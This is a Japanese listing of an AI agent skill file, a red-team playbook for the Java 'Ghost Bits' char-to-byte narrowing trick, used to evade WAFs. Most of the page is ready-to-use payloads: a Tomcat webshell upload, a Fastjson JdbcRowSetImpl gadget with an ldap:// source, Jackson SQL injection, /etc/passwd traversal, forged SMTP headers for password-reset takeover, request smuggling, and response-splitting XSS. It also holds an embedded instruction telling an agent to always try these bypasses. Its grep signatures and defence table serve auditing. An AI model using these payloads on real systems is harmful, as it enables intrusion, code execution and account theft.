Agent Skills by ALSEL
汎用セキュリティ⭐ リポ 591品質スコア 97/100

ghost-bits-cast-attack

Java「ゴーストビッツ」/キャストアタック プレイブック(Black Hat Asia 2026)。16ビット文字が8ビットバイトに暗黙的に縮小されるJavaサービスへの攻撃時に使用します。WAF/IDSを回避して、SQLインジェクション、デシリアライゼーション型RCE、ファイルアップロード(Webシェル)、パストトラバーサル、CRLF インジェクション、リクエストスマグリング、SMTPインジェクションを実行できます。Tomcat、Spring、Jetty、Undertow、Vert.x、Jackson、Fastjson、Apache Commons BCEL、Apache HttpClient、Angus Mail、JDK HttpServer、Lettuce、Jodd、XMLWriterに影響し、WAFバイパスにより多くの「パッチ済み」CVEを再度有効化します。

description の原文を見る

Java "Ghost Bits" / Cast Attack playbook (Black Hat Asia 2026). Use when attacking Java services where 16-bit char is silently narrowed to 8-bit byte to bypass WAF/IDS for SQL injection, deserialization RCE, file upload (Webshell), path traversal, CRLF injection, request smuggling, and SMTP injection. Affects Tomcat, Spring, Jetty, Undertow, Vert.x, Jackson, Fastjson, Apache Commons BCEL, Apache HttpClient, Angus Mail, JDK HttpServer, Lettuce, Jodd, XMLWriter and re-enables many "patched" CVEs through WAF bypass.

SKILL.md 本文

SKILL: Ghost Bits / Cast Attack — Java char to byte ナローイング プレイブック

AI ロード命令: これは Java 固有の注入を可能にするプリミティブであり、 スタンドアロンの脆弱性クラスではありません。(1) Java バックエンド、 (2) その前の WAF/IDS、および (3) {SQLi、デシリアライズ RCE、ファイルアップロード、 パストラバーサル、CRLF、リクエストスマグリング、SMTP インジェクション} のいずれか が組み合わさった場合、常に「ブロックされている」と判定する前に Ghost Bits 派生 ペイロードを試してください。根本原因は、Java コードが 16 ビット char を 8 ビット byte にナローイングする際の無言の高位 8 ビット損失です — WAF は無害な Unicode 文字を見て、バックエンドは元の ASCII 攻撃バイトを再構築します。ベースモデルはこの プリミティブにほぼ到達しません。

出典: Black Hat Asia 2026 トーク「Cast Attack: A New Threat Posed by Ghost Bits in Java」(スピーカー: Xinyu Bai (@b1u3r)、Zhihui Chen (@1ue)、 協力者: Zongzheng Zheng (@chun_springX))

0. 関連ルーティング

Ghost Bits は、他の多くのプレイブックからペイロードを再度有効にする バイパス プリミティブです。適用される攻撃ファミリーとペアリングしてください:

  • waf-bypass-techniques — Java バックエンドが 疑われ、WAF ルールがリテラルペイロードをブロックする場合、古典的なエンコーディング の先で試すべき最初のテクニックです。
  • deserialization-insecure — Apache Commons BCEL ClassLoader および Fastjson の \u/\x エスケープ派生用。
  • path-traversal-lfi — Spring、Jetty、Undertow、 Vert.x URL デコードおよび %2> hex フォールディング。
  • upload-insecure-files — Tomcat RFC2231Utility filename* Webshell アップロード。
  • request-smuggling — Apache HttpClient <= 4.5.9 (HTTPCLIENT-1974/1978) ヘッダー CRLF。
  • crlf-injection — Angus Mail / Jakarta Mail SMTP インジェクションおよび JDK HttpServer レスポンス分割。
  • sqli-sql-injection — Jackson の charToHex テーブルルックアップトランケーションが Unicode エスケープ内の SQL キーワードを隠します。

高度な参考資料

以下が必要な場合は PAYLOAD_COOKBOOK.md をロードしてください:

  • すべての印字可能 ASCII バイト 0x20–0x7E と最も有用な制御バイト (0x00、0x09、 0x0A、0x0D) をカバーする完全なバイト to Ghost 文字ルックアップテーブル。
  • コンポーネント別の影響を受けるバージョンマトリックスおよびパッチ識別子。
  • Yaklang および Python ワンライナーペイロードジェネレータ (poc.HTTPcodec.Encode、raw ソケット用)。
  • ブルーチーム WAF 検出用「マルチビュー正規化エンジン」疑似コード。

1. 1 分メンタルモデル

Java の char16 ビット 符号なし整数 (UTF-16 コードユニット)です。ほぼ すべてのワイアプロトコル — HTTP/1.1、SMTP、Redis RESP、ファイルパス、raw バイト ストリーム — は 8 ビット バイト指向です。それらを接続する正しい方法は明示的な charset エンコーディングです:

// 正しい: 明示的 UTF-8、マルチバイト文字がマルチバイトシーケンスになる
byte[] bytes = str.getBytes(StandardCharsets.UTF_8);
out.write(bytes);

多くのレガシーコード、フレームワーク内部、および「高速パス」最適化はこれをスキップし、 無言でナローイングします:

// 危険: 高位 8 ビットが無言で削除される
byte b = (byte) ch;          // 0x966A -> 0x6A
out.write(ch);               // ByteArrayOutputStream が低位 8 ビットのみ保持
dos.writeBytes(str);         // DataOutputStream が char->byte キャストループ
int v = ch & 0xFF;           // 明示的な低位バイトマスク

失われた高位 8 ビットが Ghost Bits です。プロトコルレイヤーでマルチバイト Unicode 文字を攻撃者が選択した単一 ASCII バイトに変換します。

ビュー A (文字列レイヤー: WAF / ビジネス検証 / ログ)
  見るもの: 陪 阮 严 灵 瘍 瘊 ...   「無害な Unicode ゴミ、許可」
                  |
                  v       呼び出しスタックのどこかでの無言のナローイング
ビュー B (バイトレイヤー: プロトコル / ファイルシステム / パーサー / クラスローダー)
  見るもの: j  .  %  u  \r \n ...  「危険なセマンティクスを実行」

境界は「ビュー A」と「ビュー B」が不一致になった正確な瞬間に侵害されます。

数学的な定式化: ビュー B がバイト T を見るようにするには、任意の k in 0x01..0xFF を選択して以下を使用します:

c = chr((k << 8) | T)

これは危険なバイトあたり 255 候補 Unicode 文字 を提供します — シグネチャベースのブラックリストを回避するのに十分な余地があります。


2. 3 つの根本原因ファミリー

Ghost Bits の傘は 3 つの異なる根本的なバグをカバーしています。それらを区別することで、 どのペイロード形状 を送信すべきかと ソースで何を grep すべきか の両方がわかります。

ファミリー A — 実際の高位ビットトランケーション (古典的な Ghost Bits)

ナローイングはリテラルかつ無条件です。

// パターン A1: 明示的キャスト
byte b = (byte) ch;

// パターン A2: ビット単位マスク
int v = ch & 0xFF;
int v = ch & 255;

// パターン A3: OutputStream.write(int) は低位 8 ビットのみを保持
out.write(ch);
baos.write(ch);

// パターン A4: DataOutputStream.writeBytes(String) が各 char を反復して
//             低位バイトを書き込む
dos.writeBytes(str);

// パターン A5: 古いコードにまだ存在する非推奨 API
String.getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin);
new StringBufferInputStream(str);
raf.writeBytes(str);

典型的な影響: Tomcat filename*、Apache BCEL ClassLoader、Lettuce Redis ライター、Angus Mail の SMTP CRLF、HTTPCLIENT-1974 ヘッダー注入。

ファミリー B — ビット演算フォールディング (違法な文字が合法的になる)

「高速」hex / base64 / charset デコーダは厳密な範囲チェックの代わりに ビットトリックを使うため、違法な文字が合法的なものに崩れます。

// Jetty TypeUtil.fromHexDigit (簡略版)
private static int fromHexDigit(char c) {
    int x = c & 0x1F;          // 低位 5 ビットを保持
    x += (c >> 6) * 25;
    x -= 16;
    return x;                  // 0..15 が想定されるが、範囲チェックなし
}

実行例: > (0x3E) を入力:

0x3E & 0x1F = 0x1E = 30
(0x3E >> 6) * 25 = 0
30 + 0 - 16 = 14 = 0xE

したがって %2> は無言のうちに %2E = . として解析されます。同じ代数により %2^%2~ などが他の hex 数字と同等になります。

典型的な影響: Openfire CVE-2023-32315、GeoServer CVE-2024-36401、 汎用 URL デコード WAF バイパス。

ファミリー C — 寛容な Unicode 正規化

デコーダは「数字」として分類されるか、& 0xFF ルックアップを介して hex 値に マップされるような Unicode 文字を受け入れます — プロトコル解析に参加することが 決してなかった場合でも。

// Fastjson: 過度に許容的
Character.digit(c, 16);   // タイ文字、パンジャブ文字、全幅数字を受け入れる

// Jackson: 低位 8 ビットでインデックス付けされた ASCII のみのテーブル
return sHexValues[ch & 0xff];

// 汎用: 全幅正規化
// '2' (U+FF12) -> '2', 'e' (U+FF45) -> 'e'

典型的な影響: Fastjson の \u および \x エスケープバイパス、全幅 URL エンコードパストラバーサル、Jackson の charToHex SQLi スマグリング。


3. 文字ジェネレータ

オンザフライで任意の Ghost Bits 文字を構築します。これはすべてのエージェントが 心に留めておくべき単一の関数です:

# Python
def ghost(target_byte: int, k: int = 1) -> str:
    """低位 8 ビットが target_byte に等しい Unicode 文字を返します。"""
    return chr(((k & 0xFF) << 8) | (target_byte & 0xFF))

# バイトあたり 255 候補、例えば '.' (0x2E):
candidates = [ghost(0x2E, k) for k in range(1, 256)]
# 阮(U+962E), Ⱦ?-prefixed-..., など
// Yaklang (poc.HTTP / fuzz 用)
func ghost(targetByte, k) {
    return string(rune(((k & 0xFF) << 8) | (targetByte & 0xFF)))
}
ghostJ = ghost(0x6A, 0x96)   // "陪" を返す

選択ガイダンス:

  • サロゲート範囲 0xD800..0xDFFF (高位バイト 0xD8..0xDF) を避けます — これらは有効なスカラー値ではなく、JVM 文字列デコーダによってナローイングサイトに 到達する前に置き換えられるため、バイパスは失敗します。
  • アプリケーション独自の charset ラウンドトリップを生き残る文字を優先します (Latin-Extended、CJK 統合漢字、囲み CJK 文字と月、ハングル)。リクエスト本体が UTF-8 を使用する場合、これらはすべてマルチバイトシーケンスに正常にエンコードされ、 WAF ルールが ./j などとして認識しません。
  • リクエスト間で k をローテーションして、シグネチャベースの学習が単一の文字を 単一の攻撃にピンできないようにします。

4. 危険バイト to Ghost 文字マップ

コンパクトな赤チーム武器化テーブル。攻撃者が実際に必要とするすべてのバイトについて、 検証された 1 つの Unicode 文字が提供されます; WAF が後で例を学ぶ場合は別の k に置き換えてください。

ターゲットバイト16進使用目的Ghost 文字コードポイント
\t0x09ヘッダーフォールディング、パーサー混乱ĉU+0109
\n0x0ACRLF インジェクション、ログインジェクションU+760A
\r0x0DCRLF インジェクション、リクエストスマグリングU+760D
0x20ヘッダー区切り、コマンド区切りĠU+0120
"0x22JSON / quoted-printable の文字列区切りĢU+0122
%0x25URL エンコーディングプレフィックス、2 次デコードU+4E25
&0x26パラメータ区切りȦU+0226
'0x27SQL 文字列区切りȧU+0227
(0x28EL/SpEL/OGNL シンタックスȨU+0228
)0x29EL/SpEL/OGNL シンタックスȩU+0229
.0x2Eパストラバーサル、拡張子U+962E
/0x2Fパス区切りU+4E2F
00x30hex 数字構成U+4E30
10x31hex 数字構成U+5931
20x32hex 数字構成U+7532
30x33hex 数字構成U+8033
;0x3Bコマンド区切り、ヘッダー継続ȻU+023B
<0x3CXSS / XML タグ開始ȼU+023C
=0x3Dパラメータ / ヘッダー値ȽU+023D
>0x3EXSS / XML タグ終了ȾU+023E
@0x40Fastjson の @type、メールアドレスŀU+0140
a0x61キーワード class、アルファベットU+1661
c0x63キーワード classcmdU+3E63
e0x65hex 数字U+6765
j0x6A拡張子 .jspU+966A
l0x6Cキーワード classclosureU+0C6C
n0x6Eキーワード RuntimeunionU+966E
s0x73キーワード classselectU+2473
t0x74キーワード RuntimetypeŴU+0174
u0x75\u エスケープイントロデューサーU+7075

ワークフローのヒント: タイト HTTP ヘッダーコンテキスト用に ASCII Ŀȧȼ などのバリアントを保持します (1 バイト UTF-8 展開はより小さい); WAF 「これはテキストに過ぎない」分類器をバイアスしたい場合は などの CJK を使用します。


5. コンポーネント別ペイロードレシピ

すべてのレシピは二重ビューを示します: WAF が検査する内容とバックエンドが 実際に実行する内容。これは なぜ ペイロードが通るのかを説明する唯一の信頼できる方法です。

5.1 Tomcat RFC2231Utility — ファイルアップロード Webshell (ファミリー A)

トリガー: マルチパートアップロードを受け入れ、Tomcat が Content-Disposition: ... filename*=UTF-8''... を解析する任意のエンドポイント。 Tomcat の RFC2231 デコーダは各パーセント記号なしの文字を直接バイトにキャストし、 高位 8 ビットを削除します。

ペイロード:

Content-Disposition: attachment; filename*=UTF-8''1.陪sp
ステージファイル名の解釈
WAF / 拡張子フィルタ1.陪sp (.jsp でなし、許可)
Tomcat RFC2231 デコーダ -> 低位バイト 0x6A -> j
ファイルシステム1.jsp

アップロードターゲットディレクトリが固定されているがアプリケーションが filename* を受け入れる場合、トラバーサル文字 () と組み合わせます。

5.2 Apache Commons BCEL — ClassLoader RCE (ファミリー A)

トリガー: クラス名を BCEL ($$BCEL$$...) で解決するか、BCEL を JavaReader -> ByteArrayOutputStream ループを介してデコードする任意のシンク。

脆弱な形状:

ByteArrayOutputStream bos = new ByteArrayOutputStream();
JavaReader jr = new JavaReader(new CharArrayReader(userChars));
while ((ch = jr.read()) >= 0) {
    bos.write(ch);     // 低位 8 ビットのみ
}

攻撃: 悪意のある BCEL バイトコードの各バイトを、低位 8 ビットがそのバイトに 等しい Unicode 文字でラップします。デコードされたバイトストリームは有効な BCEL クラスです; WAF は $$BCEL$$ キーワードやクラスシグネチャのない ランダムに見える CJK テキストの長い blob を見ます。

ビュー内容
WAF$$BCEL$$ の後にランダムに見える CJK
BCEL標準 BCEL クラスファイルバイト → JVM defineClass → RCE

ブルーチーム防御: BCEL を検査する WAF は、パターンマッチング前に各文字の bos.write(ch) セマンティクスを複製する必要があります。

5.3 Jackson charToHex — SQLi スマグリング (ファミリー C)

トリガー: Jackson がパースする JSON フィールドで、その値が後で SQL または 別のパーサーに埋め込まれる場合。Jackson は \uXXXX 数字を以下を介して解決します:

private static final int[] sHexValues = new int[128];
public static int charToHex(int ch) {
    return sHexValues[ch & 0xFF];   // 最初にマスク、その後ルックアップ
}

低位 8 ビットが入力インデックスに着地する非 ASCII 文字は、その hex 数字を返します。 WAF は支離滅裂を見ます; Jackson は ASCII ペイロードを再構築します。

ペイロード (UNION 列数の数字 1 をスマグル):

{"q": "\u丰丰耳失 union select 1,2,3 -- "}
ビュー内容
WAF\u丰丰耳失 union select ... (先頭の数字なし)
Jackson\u0031 union select 1,2,3-- -> 1 union select…

sqli-sql-injection とペアリングして ダウンストリーム UNION / boolean / time-based ペイロードテンプレート用。

5.4 Fastjson — \u および \x エスケープバイパス (ファミリー B + C)

2 つの独立した表面:

(a) \u エスケープ — Character.digit(c, 16) は ASCII を超える Unicode 数字カテゴリを受け入れます (タイ ๐-๙ U+0E50..U+0E59、パンジャブ語 ੦-੯ U+0A66..U+0A6F、全幅 0-9 U+FF10..U+FF19)。

{"\u4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}

WAF ビュー: \u4_type (リテラル @type なし)。Fastjson は全幅 4 に正規化し、次に以下の \x ショートカットを介して _ を処理し、 @type を生成します。

(b) \x エスケープ — Fastjson が digits[x1] * 16 + digits[x2] を計算します。 違法な hex 文字はデフォルト値 0 を返します。

\x4_   ->   '4'(=4) * 16 + '_'(=0) = 0x40 = '@'
{"\x4_type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://x"}
ビューフィールド名
WAF\x4_type (@type でなし)
Fastjson@type -> JdbcRowSetImpl オートタイプガジェット トリガー

5.5 Spring / Jetty / Undertow / Vert.x — URL デコード (ファミリー A + B)

2 つの組み合わせ可能なトリック:

トリック 1 — パスまたはクエリ内でのファミリー A 文字置換:

/api/v1/data?file=阮丯阮丯etc丯passwd
                = ../../etc/passwd at the byte layer

トリック 2 — Jetty の TypeUtil.fromHexDigit がチェーン内にある場合の ファミリー B %2> フォールディング:

/setup/setup-s/%2>%2>/log.jsp
                = /setup/setup-s/../log.jsp after decode

どちらか単独でも、ほとんどのシグネチャ WAF をバイパスします; 組み合わせると ASCII パーセント三重奏のみを見る「正規化してからマッチ」ルールまで生き残ります。

Spring CVE-2025-41242 チェーン (StringUtils.uriDecode が PR #34673 でパッチ):

input :  阮严灵丰丰甲来
       (.)(%)(u)(0)(0)(2)(e)
narrow:  .%u002e
decode:  ..
result:  arbitrary file read via path traversal
ステージパス
Spring isInvalidPath().%u002e — リテラル .. なし、許可
バックエンド ファイル解決デコード後の .. → トラバーサル

5.6 Angus Mail / Jakarta Mail — SMTP インジェクション (ファミリー A)

トリガー: ユーザー制御の文字列から SMTP エンベロープまたはヘッダーを構築する 任意のアプリケーション。内部 ASCIIUtility が以下を実行:

byte b = (byte) ch;           // 16 ビット char が無言でナローイング

CRLF を 瘍瘊 としてスマグル:

hacker@evil.com瘍瘊Subject: Password reset code瘍瘊To: target@victim.com瘍瘊瘍瘊Your code is 1234
ビューパース内容
アプリケーション検証奇妙な CJK を含む単一 From
SMTP サーバー5 つの分割ヘッダー行 + 本文、完全偽造

実際の影響パターン: Jira スタイル (CVE-2025-57733) パスワードリセット 乗っ取り、Confluence ドメイン許可リストバイパス — メール以外の CRLF 再利用用に crlf-injection とペアリング。

5.7 Apache HttpClient <= 4.5.9 — リクエストスマグリング (ファミリー A)

HTTPCLIENT-1974 / HTTPCLIENT-1978: ヘッダー値が OutputStreamWriter プラス、 \u760D\u760A に対して raw \r\n を出力するナローキャスト書き込みを通過します。

X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1
ホップ見るもの
フロントプロキシ / WAF長い X-Auth-Token を持つ 1 つのリクエスト
オリジン2 つのリクエスト; 2 番目は管理者 POST

確認済みのデシンクの場合、request-smuggling で chosen-prefix 攻撃を参照してください。

5.8 JDK HttpServer — レスポンス分割 (CVE-2026-21933、ファミリー A)

ユーザー入力のレスポンスヘッダーへのリフレクションが com.sun.net.httpserver ライターを通過します。各 char を低位バイトキャストします。

ペイロード (URL パラメータまたはアップストリームヘッダー):

Custom: Cu瘍瘊Content-Type: text/html瘍瘊Content-Length: 33瘍瘊瘍瘊<script>alert(1)</script>

サーバーが 2 つの論理レスポンスを出力します; 2 番目は攻撃者が選択した本文を 搭載しています。保存された XSS、キャッシュポイズニング、SSO リダイレクト チェーンにエスカレートします。

5.9 その他の影響を受けるコンポーネント

同じファミリー A プリミティブ、異なるシンク:

  • Lettuce (Redis クライアント) — RESP フレームへの \r\n スマグリングによる コマンド注入; 任意の CONFIG SET dir + SAVE への SSRF-to-RCE チェーン。
  • Jodd FileNameUtil — 内部書き込みループがナローイングするため によるパストラバーサル。
  • XMLWriter — 属性またはテキストノード値が低位バイトライターを通される場合の タグ名インジェクション; XXE / XSS ピボット。
  • ActiveJ HTTP — 5.7 / 5.8 と形状が同一の CRLF インジェクション。
  • Vert.x HTTP ボディパーサーMultipartParser 内のファミリー A。

影響を受けるバージョンマトリックスおよびコンポーネント別の完全なペイロード スケルトン用に PAYLOAD_COOKBOOK.md を参照してください。


6. 既知 CVE バイパスレシピ

対応する CVE がパッチされているがまだ WAF がサービスの前にある場合、正確に これらを使用します。以下の各ペイロードは、文字列ベースの WAF ルールを生き残る 形式に元の ASCII 攻撃をシフトします。

Openfire CVE-2023-32315 — 認証バイパス (ファミリー B)

元のパブリックバイパス:

GET /setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp

Ghost Bits / %2> フォールディングバイパス (署名するのが難しい):

GET /setup/setup-s/%2>%2>/%2>%2>/log.jsp

%2> は Jetty のルーズな hex を通じて %2E = . に崩れ、WAF に .. または %2e を出力することなく同じ ../../ トラバーサルをもたらします。

GeoServer CVE-2024-36401 — Runtime キーワード経由 RCE (ファミリー B)

パブリック WAF ルールは通常 Runtime をブロックします。1 つのフォールディング 文字を挿入します:

Ru%6>time

デコーダ算: %6> -> %6E -> n。式エバリュエータが Runtime を見ます、 WAF は決してしません。

Spring4Shell CVE-2022-22965 — クラスローダーチェーン (ファミリー A)

必須パラメータプレフィックス class.module.classLoader...。WAF がリテラル class をブロックします。低位バイト文字で置換:

Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader.resources..."
コンポーネント文字コードポイント低位バイト
cU+3E630x63
lU+0C6C0x6C
aU+16610x61
sU+24730x73
sU+24730x73

Spring のパラメータ名リゾルバが class に戻ります。

Spring CVE-2025-41242 — 任意ファイル読み取り (ファミリー A + B ミックス)

既に 5.5 で説明されています。ペイロード 阮严灵丰丰甲来 -> validate 後 .%u002e -> decode 後 ..

Jakarta Mail CVE-2025-57733 — Jira スタイルメール乗っ取り (ファミリー A)

to=victim@org.com瘍瘊Subject: Reset code瘍瘊To: attacker@evil.com瘍瘊瘍瘊Your code is 1234

メールは有効な SPF / DKIM / DMARC を使用して会社の SMTP サーバーを離れますが、 その To:Subject: は攻撃者が選択した — 高忠実フィッシング。


7. 検出判定ツリー

ターゲットをトリアージする場合に使用します。要点は Ghost Bits が役に立たない 場合にそれを回避し、前提条件が成立する場合に 常に 試すことです。

バックエンドは Java ですか? (サーバーヘッダー、エラーページ、JSESSIONID、
                      .do/.action、WebGoat スタイルスタックトレース、
                      X-Powered-By、Tomcat デフォルト値の X-Frame-Options)
├── いいえ  -> 停止、Ghost Bits は適用されません
└── はい
    │
    ├── リテラルペイロードをブロックしている WAF / IDS またはインプットフィルタが
    │   ありますか?
    │   ├── いいえ  -> リテラルペイロード使用; Ghost Bits は過度
    │   └── はい -> 続行
    │
    ├── どのシンクをターゲットしていますか?
    │   ├── multipart 経由のファイルアップロード  -> レシピ 5.1 (Tomcat filename*)
    │   ├── JSON デシリアライゼーション       -> レシピ 5.3 (Jackson) / 5.4 (Fastjson)
    │   ├── クラスローダー / BCEL ref    -> レシピ 5.2
    │   ├── URL パス / パラメータ       -> レシピ 5.5 + ファミリー B `%2>`
    │   ├── ヘッダーリフレクション          -> レシピ 5.7 / 5.8
    │   ├── メール送信                  -> レシピ 5.6
    │   └── Redis / RESP / XML / RPC   -> レシピ 5.9
    │
    ├── 単一の非破壊的な置換で最初にプローブ
    │   (1 つの文字をその Ghost バリアントで置換; レスポンス diff を観察:
    │    ステータスコード、長さ、ヘッダーエコー、エラーメッセージ、時間)
    │
    └── 観測可能な差が現れる場合 -> すべてのブロック文字を置換してエスカレート
                                            し、リンク済みプレイブックを通して
                                            チェーンします。

8. SAST / コード監査シグネチャ

Java ソースをレビューする場合の 3 つの優先度層。すべてのプロジェクトリポジトリ、 shade できるすべての依存関係、およびデプロイされたアプライアンスの lib/ を 検索します。

ティア 1 — 直接ナローイング (ファミリー A)

\(byte\)\s*\w+
&\s*0[xX][fF][fF]
&\s*255
\.write\(\s*[a-zA-Z_]\w*\s*\)         # OutputStream.write(int)
writeBytes\s*\(
StringBufferInputStream
String\.getBytes\s*\(\s*int
RandomAccessFile.*writeBytes

ティア 2 — ルーズな hex / 数字デコード (ファミリー B + C)

Character\.digit\s*\(
fromHexDigit
convertHexDigit
fromHex\s*\(
uriDecode
URLDecoder\.decode
sHexValues\[
& 0x1F\)\s*\+\s*\(.*>>.*\) \* 25

ティア 3 — 高リスクラッパーおよび到達可能性

RFC2231                # Tomcat / mail filename* parsing
JavaReader             # BCEL ClassLoader reachable
ASCIIUtility           # Jakarta Mail / Angus Mail
LineParser             # HttpClient header parser
ChunkedDecoder         # request smuggling adjacent
charToHex              # Jackson
encodeUTF8             # candidate for char->byte writer

所見ごとのトリアージが 5 次元リスクモデル を適用:

次元高リスク場合
入力制御HTTP パラメータ、ヘッダー、ファイル名、JSON キー、メールアドレス
検証deny/allow リストが ナローイング前に実行
ナローイング時間変換がセキュリティチェック後に発生
構文ターゲット結果が URL / SMTP / HTTP / Redis / ファイルシステム / SQL グラマーに入力
再デコードBase64、URL デコード、JSON unescape、%u など後に発生

リスク公式:

攻撃者制御  +  check-before-narrow  +  result-in-protocol-syntax
                                              +  later-redecoding
                              = 高重大度

9. 差分テストワークフロー

新しい Ghost Bits シンクを見つける (赤チーム) またはフィックスを検証する (ブルーチーム) ための再現可能なブラックボックス手順。

1. 危険なバイト T を一度に 1 つ選択 (例えば 0x2E は '.')。

2. 候補セットを生成:
       C = { chr((k << 8) | T) for k in 1..255 }
   サロゲート 0xD8XX..0xDFXX を削除。

3. C のそれぞれの候補 c について:
       a. 選択した位置に c を持つ良性リクエストを送信。
       b. 同じ位置にリテラル T を持つ同じリクエストを送信。
       c. 4 つの観測可能を比較:
            - ステータスコード
            - レスポンスボディ長
            - レスポンスボディコンテンツハッシュ (または diff)
            - サーバーサイドログ行 (利用可能な場合)

4. 候補が T と同等のレスポンスを生成するが「中立」文字 (例えば 'X')
   と異なる場合、ナローイングシンクを見つけました。

5. 優先度リスト内の次の T を繰り返す:
       0x2E ('.'), 0x2F ('/'), 0x25 ('%'), 0x40 ('@'),
       0x0D ('\r'), 0x0A ('\n'), 0x6A ('j'), 0x73 ('s'),
       0x6C ('l'), 0x61 ('a'), 0x63 ('c'), 0x22 ('"'), 0x27 (''')

6. シンクをコンポーネント別にクラスタリング (レスポンス Server ヘッダー、
   エラースタック) — 1 つのシンクは通常フレームワーク全体のバージョンが
   脆弱であることを意味します。

このワークフロー は意図的にプロトコル不可知論的です; ファイルアップローダー、 検索エンドポイント、メール作成者、または Redis バックアップキャッシュで同じ ループが機能します。


10. 防御認識

5 つのレイヤー、すべて必要; 1 つだけでは分離可能です。

レイヤーアクション
ソースコード手書き (byte) ch& 0xFFout.write(ch)writeBytes を禁止。getBytes(StandardCharsets.UTF_8) またはプロトコルフィールド用の厳密 ASCII 許可リストを使用。
デコーダ違法な入力を拒否。決してわからない hex / Unicode 数字 / Base64 文字を 0 にデフォルト折叠またはその低位 8 ビットにしない。
検証順序常に正規化してから検証。具体的には: 厳密デコード → Unicode NFC/NFKC → プロトコル正規化 (URL .. 解決、File.getCanonicalPath) → セキュリティチェック → 実行。
プロトコルフィールドフィールドごとに厳密な許可リストを使用 (HTTP ヘッダー値、SMTP エンベロープ、URL パス、ファイル名、JSON キー、XML タグ)。任意のヘッダーまたはアドレスで CR/LF を拒否。
WAF / IDSマルチビュー 正規化ツールを実行。常にオリジナル文字列 AND (char) & 0xFF ビュー AND URL デコード後ビュー AND Unicode-NFKC ビューの両方を検査。オリジナルに欠けていた危険なセマンティックを任意のビューが含む場合はアラート。

ブルーチーム臭いテスト:

  • ログに、プロトコルグラマーが ASCII を想定する位置 (ファイル名、ヘッダー値、 メールアドレス) で CJK / Latin-Extended 文字が含まれます。
  • リクエストの HEX ダンプに、プロトコルデリミタの隣接する 0x20..0x7E 外のバイト が含まれます。
  • ペネテストまたはスキャナーが「奇妙な 200」を報告しますが、セキュリティ監視が フラグを立てていません — Ghost Bits は 2025-2026 年の Java スタックでそのパターン の最も一般的な原因です。

11. クイックリファレンス — 主要ペイロード

# Ghost 文字ジェネレータ
ghost(T, k) = chr(((k & 0xFF) << 8) | (T & 0xFF))     # k が 0xD8..0xDF にない場合の回避

# Tomcat filename* webshell アップロード
Content-Disposition: attachment; filename*="UTF-8''shell.陪sp"     # → shell.jsp

# BCEL ClassLoader バイパス (概念)
$$BCEL$$<各バイト-クラスファイル-Unicode 文字でラップ>

# Jackson SQLi スマグリング
{"q":"\u丰丰耳失 union select 1,2,3-- "}                          # → "1 union select…"

# Fastjson @type スマグリング
{"\x4_type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x"}

# Spring URL デコード + Jetty %2> フォールディング
GET /api/data?file=阮丯阮丯etc丯passwd
GET /setup/setup-s/%2>%2>/log.jsp
GET /api?cmd=Ru%6>time

# Spring4Shell name* class スマグリング
Content-Disposition: form-data; name*="㹣౬ᙡ⑳⑳.module.classLoader..."

# Spring CVE-2025-41242 パス読み取り
GET /resources/阮严灵丰丰甲来/secret.properties                    # → ../%u002e

# Angus Mail / Jira メール乗っ取り
From: hacker@evil.com瘍瘊Subject: Reset瘍瘊To: victim@org.com瘍瘊瘍瘊Your code is 1234

# Apache HttpClient ≤4.5.9 スマグリング
X-Auth-Token: 1瘍瘊POST /admin HTTP/1.1\r\nHost: internal\r\nContent-Length: 0\r\n\r\nGET /public HTTP/1.1

# JDK HttpServer レスポンス分割 (CVE-2026-21933)
?ref=Cu瘍瘊Content-Type:text/html瘍瘊Content-Length:33瘍瘊瘍瘊<script>alert(1)</script>

# SAST ファーストパス grep
grep -RnE '\(byte\)\s*\w+|& 0[xX][fF][fF]|writeBytes|baos\.write\(\w+\)' src/
grep -RnE 'Character\.digit|fromHexDigit|charToHex|uriDecode' src/

参考資料

  • Black Hat Asia 2026 — Cast Attack: A New Threat Posed by Ghost Bits in Java。スピーカー: Xinyu Bai (@b1u3r / @iSafeBlue)、Zhihui Chen (@1ue)。 協力者: Zongzheng Zheng (@chun_springX)。
  • 再度有効化された実世界 CVE: GeoServer CVE-2024-36401、Spring4Shell CVE-2022-22965、Openfire CVE-2023-32315、Spring CVE-2025-41242、Jakarta Mail CVE-2025-57733、JDK HttpServer CVE-2026-21933、Apache HttpClient HTTPCLIENT-1974 / HTTPCLIENT-1978。
  • パッチ済みコンポーネント (アップグレード対象): Apache Commons BCEL >= 6.12.0、 Fastjson 2.x 最新、Apache HttpClient >= 4.5.10 (または 5.x へ移行)、 GeoServer >= 2.28.3、Openfire >= 5.0.4。バージョン番号に依存する前にベンダー アドバイザリを確認してください。

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
2026/5/6

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

Anthropic Claudeセキュリティ⭐ リポ 8,981

secure-code-guardian

認証・認可の実装、ユーザー入力の保護、OWASP Top 10の脆弱性対策が必要な場合に使用します。bcrypt/argon2によるパスワードハッシング、パラメータ化ステートメントによるSQLインジェクション対策、CORS/CSPヘッダーの設定、Zodによる入力検証、JWTトークンの構築などのカスタムセキュリティ実装に対応します。認証、認可、入力検証、暗号化、OWASP Top 10対策、セッション管理、セキュリティ強化全般で活用できます。ただし、構築済みのOAuth/SSO統合や単独のセキュリティ監査が必要な場合は、より特化したスキルの検討をお勧めします。

by Jeffallan
汎用セキュリティ⭐ リポ 1,982

claude-authenticity

APIエンドポイントが本物のClaudeによって支えられているか(ラッパーやプロキシ、偽装ではないか)を、claude-verifyプロジェクトを模した9つの重み付きルールベースチェックで検証できます。また、Claudeの正体を上書きしているプロバイダーから注入されたシステムプロンプトも抽出します。完全に自己完結しており、httpx以外の追加パッケージは不要です。Claude APIキーまたはエンドポイントを検証したい場合、サードパーティのClaudeサービスが本物か確認したい場合、APIプロバイダーのClaude正当性を監査したい場合、複数モデルを並行してテストしたい場合、またはプロバイダーが注入したシステムプロンプトを特定したい場合に使用できます。

by LeoYeAI
Anthropic Claudeセキュリティ⭐ リポ 2,159

